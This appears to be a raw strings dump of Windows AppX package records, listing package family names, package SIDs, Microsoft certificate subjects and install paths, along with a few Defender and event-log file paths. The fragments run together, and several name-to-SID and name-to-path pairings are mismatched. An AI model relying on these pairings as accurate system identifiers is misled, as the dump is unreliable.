1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy S-1-15-2-3110756066-2507771734-389907848-353554127-1230786711-3973453966-120447785 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy PackageSID\S-1-15-2-3110756066-2507771734-389907848-353554127-1230786711-3973453966-120447785\1 c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy S-1-15-2-4264928162-86341590-2006646042-3756743162-890444002-3415177634-881149292 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy PackageSID\S-1-15-2-4264928162-86341590-2006646042-3756743162-890444002-3415177634-881149292\2 E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy S-1-15-2-1912509539-3368118754-2471371924-3037708167-1407372224-1099830378-371392376 PackageFamilyName\Microsoft.Windows.CapturePicker_cw5n1h2txyewy PackageSID\S-1-15-2-3147918054-4251542582-2404553452-1793583264-1546801782-1235146273-4024180735\12 Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy S-1-15-2-2434737943-167758768-3180539153-984336765-1107280622-3591121930-2677285773 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy PackageSID\S-1-15-2-2434737943-167758768-3180539153-984336765-1107280622-3591121930-2677285773\13 Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy PackageSID\S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723\14 Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe S-1-15-2-577703620-721806600-2575725278-1938300505-2177978512-2240326487-1220425747 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy PackageSID\S-1-15-2-2652307757-2298579837-578647688-3387406430-2756081349-614783772-2601174805\1a MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy S-1-15-2-216940756-3926213634-2086602690-3208050060-4189571744-4076504916-545222953 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US MicrosoftWindows.Client.Core_cw5n1h2txyewy S-1-15-2-1865096472-3228082684-3088735348-2044108251-975292724-3239066845-4226050315 PackageFamilyName\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy PackageSID\S-1-15-2-216940756-3926213634-2086602690-3208050060-4189571744-4076504916-545222953\1b Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy S-1-15-2-3733603082-4179795269-1217541644-381468798-1681740699-3059609168-2054985149 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vm3dservice.exe "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe" osoft.MicrosoftEdgeDevToolsC MpWppCoreTracing-20260224-090600-00000003-100000000.bin \Users\job\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\LocalCache \Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx C:\WINDOWS\system32\Logfiles\WMI\RtBackup\EtwRT1DSListener.etl IMpService77BDAF73-B396-481F-9042-AD358843EC24.lock Microsoft-Windows-Windows Defender%4Operational.evtx Microsoft-Windows-Diagnosis-DPS%4Operational.evtx PackageFamilyName\Microsoft.WindowsAppRuntime.CBS.1.8_8wekyb3d8bbwe PackageSID\S-1-15-2-2929085168-2280723576-4062338817-4149536400-2065576920-3040687864-2036269289\21 S-1-15-2-957941444-2271171641-4049211970-804197638-2225746618-2474488012-4131196493 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.XboxGameCallableUI_cw5n1h2txyewy PackageSID\S-1-15-2-957941444-2271171641-4049211970-804197638-2225746618-2474488012-4131196493\22 MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy S-1-15-2-2099011457-1212510854-3010077181-2686956020-1698922988-547075915-2409018723 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy PackageSID\S-1-15-2-2099011457-1212510854-3010077181-2686956020-1698922988-547075915-2409018723\23 MicrosoftWindows.59336768.Speion_cw5n1h2txyewy S-1-15-2-1794954150-1362576287-1120908570-2961091880-825203196-2532781261-1486296860 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.59336768.Speion_cw5n1h2txyewy PackageSID\S-1-15-2-1794954150-1362576287-1120908570-2961091880-825203196-2532781261-1486296860\24 MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy S-1-15-2-1092771631-3393416782-56348490-727905630-4072502170-115975153-3641637981 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy PackageSID\S-1-15-2-1092771631-3393416782-56348490-727905630-4072502170-115975153-3641637981\25 MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy S-1-15-2-4103799090-3150621263-206945792-2473050048-1268586449-1034245904-3294416155 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy PackageSID\S-1-15-2-4103799090-3150621263-206945792-2473050048-1268586449-1034245904-3294416155\26 MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy S-1-15-2-3534439193-4276137787-2296037807-3050200288-1768672009-1832184217-1664829011 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy PackageSID\S-1-15-2-3534439193-4276137787-2296037807-3050200288-1768672009-1832184217-1664829011\27 MicrosoftWindows.Client.CBS_cw5n1h2txyewy S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.Client.CBS_cw5n1h2txyewy PackageSID\S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651\28 Microsoft.BingNews_8wekyb3d8bbwe S-1-15-2-508114518-3340871649-811464485-526616082-4258465299-1774086546-1865468257 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US S-1-15-2-1075972307-1477995677-3981890472-2965168153-2910496065-638303522-2449858333 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.BingNews_8wekyb3d8bbwe PackageSID\S-1-15-2-508114518-3340871649-811464485-526616082-4258465299-1774086546-1865468257\3e Microsoft.BingSearch_8wekyb3d8bbwe PackageFamilyName\MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy PackageSID\S-1-15-2-1075972307-1477995677-3981890472-2965168153-2910496065-638303522-2449858333\29 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.Client.Core_cw5n1h2txyewy PackageSID\S-1-15-2-1865096472-3228082684-3088735348-2044108251-975292724-3239066845-4226050315\2a MicrosoftWindows.Client.FileExp_cw5n1h2txyewy S-1-15-2-2432820154-214690117-2638483218-3299957948-3041975438-3418652010-4243016273 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.Client.FileExp_cw5n1h2txyewy PackageSID\S-1-15-2-2432820154-214690117-2638483218-3299957948-3041975438-3418652010-4243016273\2b MicrosoftWindows.Client.OOBE_cw5n1h2txyewy S-1-15-2-3950126717-3641943460-3038804466-693777006-783539386-1288712031-1294249617 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy PackageSID\S-1-15-2-3950126717-3641943460-3038804466-693777006-783539386-1288712031-1294249617\2c MicrosoftWindows.Client.Photon_cw5n1h2txyewy S-1-15-2-3637181099-3165582941-2384801395-3283118383-1187078190-3493346776-3423618717 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.Client.Photon_cw5n1h2txyewy PackageSID\S-1-15-2-3637181099-3165582941-2384801395-3283118383-1187078190-3493346776-3423618717\2d MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy S-1-15-2-3454040486-2837767420-2398300611-2444005331-4037059961-341738144-1918557667 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft.AV1VideoExtension_8wekyb3d8bbwe S-1-15-2-3501455044-2582412288-1426596574-4083325953-1804646004-2144057959-3023214061 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.AV1VideoExtension_8wekyb3d8bbwe PackageSID\S-1-15-2-3501455044-2582412288-1426596574-4083325953-1804646004-2144057959-3023214061\3c Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe S-1-15-2-2471035258-3779105804-3042361578-1479730176-3542935467-3195938656-1871906695 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe PackageSID\S-1-15-2-2471035258-3779105804-3042361578-1479730176-3542935467-3195938656-1871906695\3d S-1-15-2-1609473798-1231923017-684268153-4268514328-882773646-2760585773-1760938157 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft.ScreenSketch_8wekyb3d8bbwe S-1-15-2-1794666530-1473249818-1588996214-3976422419-3023849891-1013843484-2185627956 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.ScreenSketch_8wekyb3d8bbwe PackageSID\S-1-15-2-1794666530-1473249818-1588996214-3976422419-3023849891-1013843484-2185627956\4e Microsoft.SecHealthUI_8wekyb3d8bbwe S-1-15-2-2743877165-1931364543-2468930561-3765762410-1162139025-1178895811-1086226821 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.SecHealthUI_8wekyb3d8bbwe PackageSID\S-1-15-2-2743877165-1931364543-2468930561-3765762410-1162139025-1178895811-1086226821\4f Microsoft.StorePurchaseApp_8wekyb3d8bbwe S-1-15-2-2246242352-370130666-2593524754-1827188282-2313440240-2317694540-2761805292 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.WindowsNotepad_8wekyb3d8bbwe PackageSID\S-1-15-2-1050576210-4101474698-56307613-2706264498-167457550-835605972-784472318\5b Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe S-1-15-2-2679466428-2257802901-1755839644-3032159574-3452485508-990264208-3332697187 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe PackageSID\S-1-15-2-2679466428-2257802901-1755839644-3032159574-3452485508-990264208-3332697187\5c Microsoft.WindowsStore_8wekyb3d8bbwe PackageFamilyName\Microsoft.WindowsTerminal_8wekyb3d8bbwe PackageSID\S-1-15-2-1254322593-1477425798-1529151232-702750859-81020123-3651049416-2875749711\5e Microsoft.Xbox.TCUI_8wekyb3d8bbwe S-1-15-2-2603511428-3224021693-1028932517-3941269705-3349582775-2312504883-4057327947 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.Xbox.TCUI_8wekyb3d8bbwe PackageSID\S-1-15-2-2603511428 PackageFamilyName\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe PackageSID\S-1-15-2-2188130720-2839601841-3157732644-2592691638-1140003976-1644640269-1870447086\62 Microsoft.YourPhone_8wekyb3d8bbwe S-1-15-2-1726375552-1729233799-74693324-3851689839-2151781990-3623637752-3611872497 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.YourPhone_8wekyb3d8bbwe PackageSID\S-1-15-2-1726375552-1729233799-74693324-3851689839-2151781990-3623637752-3611872497\63 Microsoft.ZuneMusic_8wekyb3d8bbwe S-1-15-2-3132517012-1571311091-3263739450-2968124769-4061529133-2106415361-233808003 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.ZuneMusic_8wekyb3d8bbwe PackageSID\S-1-15-2-3132517012-1571311091-3263739450-2968124769-4061529133-2106415361-233808003\64 MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe S-1-15-2-3528834342-470806326-1880701413-1680063135-2149661979-2141157734-685366862 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe PackageSID\S-1-15-2-3528834342-470806326-1880701413-1680063135-2149661979-2141157734-685366862\65 MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy S-1-15-2-1312876954-3728250218-3694470604-4188764552-3197360367-780678243-3229644300 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy PackageSID\S-1-15-2-1312876954-3728250218-3694470604-4188764552-3197360367-780678243-3229644300\66 MicrosoftWindows.CrossDevice_cw5n1h2txyewy S-1-15-2-364329911-4150717405-3056445719-2033109410-984633417-3778061428-3365209672 CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MicrosoftWindows.CrossDevice_cw5n1h2txyewy PackageSID\S-1-15-2-364329911-4150717405-3056445719-2033109410-984633417-3778061428-3365209672\67 MSTeams_8wekyb3d8bbwe S-1-15-2-1327587233-2730283621-3908338074-337181141-3891108920-2047653661-4124462636 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\MSTeams_8wekyb3d8bbwe PackageSID\S-1-15-2-1327587233-2730283621-3908338074-337181141-3891108920-2047653661-4124462636\68 Microsoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe S-1-15-2-2056075683-1419233952-3861986872-1138878682-2918538514-3668736794-3483596717 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe PackageSID\S-1-15-2-2056075683-1419233952-3861986872-1138878682-2918538514-3668736794-3483596717\69 Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe S-1-15-2-815187177-996385781-3071627725-3674054744-306962016-2316107673-1133445636 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe PackageSID\S-1-15-2-815187177-996385781-3071627725-3674054744-306962016-2316107673-1133445636\6a Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe S-1-15-2-652398941-3105653600-2915300332-119994831-3460387998-2584415950-728642102 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe PackageSID\S-1-15-2-652398941-3105653600-2915300332-119994831-3460387998-2584415950-728642102\6b Microsoft.StartExperiencesApp_8wekyb3d8bbwe S-1-15-2-1433382107-525783102-3264187439-2233956802-150629141-2653644966-3104780440 CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US PackageFamilyName\Microsoft.StartExperiencesApp_8wekyb3d8bbwe PackageSID\S-1-15-2-1433382107-525783102-3264187439-2233956802-150629141-2653644966-3104780440\6c Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy C:\Windows\SystemApps\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy ms-resource:appDescription PackageFamily\13\13 PackageFullName\Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy C:\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy ms-resource:AppDisplayName PackageFamily\14\14 PackageFullName\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe C:\Windows\SystemApps\microsoft.windows.narratorquickstart_8wekyb3d8bbwe ms-resource:AppDisplayName PackageFamily\15\15 PackageFullName\Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy ms-resource:AppDisplayName PackageFamily\16\16 PackageFullName\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy ms-resource:AppDisplayName PackageFamily\17\17 PackageFullName\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy C:\Windows\SystemApps\ParentalControls_cw5n1h2txyewy ms-resource:DisplayName PackageFamily\18\18 PackageFullName\Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy ms-resource:PkgDisplayName PackageFamily\19\19 PackageFullName\Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy C:\Windows\SystemApps\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy PinningConfirmationDialog PackageFamily\1a\1a PackageFullName\Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy ms-resource:AppxManifest_DisplayName PackageFamily\29\29 PackageFullName\MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy PackageFamily\1b\1b PackageFullName\Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy ms-resource:PackageDisplayName PackageFamily\1c\1c PackageFullName\Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy ms-resource:PkgDisplayName Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe C:\Windows\SystemApps\Microsoft.WindowsAppRuntime.CBS_8wekyb3d8bbwe Microsoft.WindowsAppRuntime.CBS.1.6 PackageFamily\20\20 PackageFullName\Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe C:\Windows\SystemApps\Microsoft.WindowsAppRuntime.vNext.CBS_8wekyb3d8bbwe Microsoft.WindowsAppRuntime.CBS.1.8 PackageFamily\21\21 PackageFullName\Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy C:\Windows\SystemApps\Microsoft.XboxGameCallableUI_cw5n1h2txyewy ms-resource:PkgDisplayName PackageFamily\22\22 PackageFullName\Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\SxS\MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy ms-resource:ProductPkgDisplayName PackageFamily\23\23 PackageFullName\MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\SxS\MicrosoftWindows.59336768.Speion_cw5n1h2txyewy ms-resource:ProductPkgDisplayName PackageFamily\24\24 PackageFullName\MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\SxS\MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy ms-resource:ProductPkgDisplayName PackageFamily\25\25 PackageFullName\MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\SxS\MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy ms-resource:ProductPkgDisplayName PackageFamily\26\26 PackageFullName\MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\SxS\MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy ms-resource:ProductPkgDisplayName PackageFamily\27\27 PackageFullName\MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy ms-resource:ProductPkgDisplayName PackageFamily\28\28 PackageFullName\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe C:\Windows\SystemApps\MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy ms-resource:AIXHost/ClickToDo/AppDisplayName PackageFamily\3c\41 PackageFullName\Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy ms-resource:ProductPkgDisplayName PackageFamily\2a\2a PackageFullName\MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\MicrosoftWindows.Client.FileExp_cw5n1h2txyewy ms-resource:ProductPkgDisplayName PackageFamily\2b\2b PackageFullName\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy ms-resource:ProductPkgDisplayName PackageFamily\2c\2c PackageFullName\MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy ms-resource:ProductPkgDisplayName PackageFamily\2d\2d PackageFullName\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy UDK Package C:\Windows\SystemApps\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy PackageFamily\2e\2e PackageFullName\MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy ms-resource:DisplayName PackageFamily\59\9d PackageFullName\Microsoft.WindowsCamera_2025.2510.2.0_neutral_split.scale-125_8wekyb3d8bbwe Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe Microsoft Store PackageFamily\5d\ef PackageFullName\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe ms-resource:AppStoreName PackageFamily\5a\9f PackageFullName\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe WindowsAppRuntime.1.5 PackageFamily\33\f0 PackageFullName\Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-100_8wekyb3d8bbwe ms-resource:AppStoreName PackageFamily\5a\a0 PackageFullName\Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-125_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-125_8wekyb3d8bbwe ms-resource:AppStoreName Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe PackageFamily\62\b8 PackageFullName\Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_x64__8wekyb3d8bbwe ms-resource:AppName PackageFamily\62\b9 PackageFullName\Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_x64__8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_split.scale-100_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_split.scale-100_8wekyb3d8bbwe ms-resource:AppName PackageFamily\62\ba PackageFullName\Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_split.scale-125_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_split.scale-125_8wekyb3d8bbwe ms-resource:AppName PackageFamily\62\bb PackageFullName\Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_split.scale-125_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe PackageFamily\63\bc PackageFullName\Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe ms-resource://Microsoft.YourPhone/YourPhone/Resources/AppName PackageFamily\63\bd PackageFullName\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe Microsoft.YourPhone_0.25062.84.0_neutral_split.scale-100_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_neutral_split.scale-100_8wekyb3d8bbwe ms-resource://Microsoft.YourPhone/YourPhone/Resources/AppName PackageFamily\63\be PackageFullName\Microsoft.YourPhone_0.25062.84.0_neutral_split.scale-100_8wekyb3d8bbwe 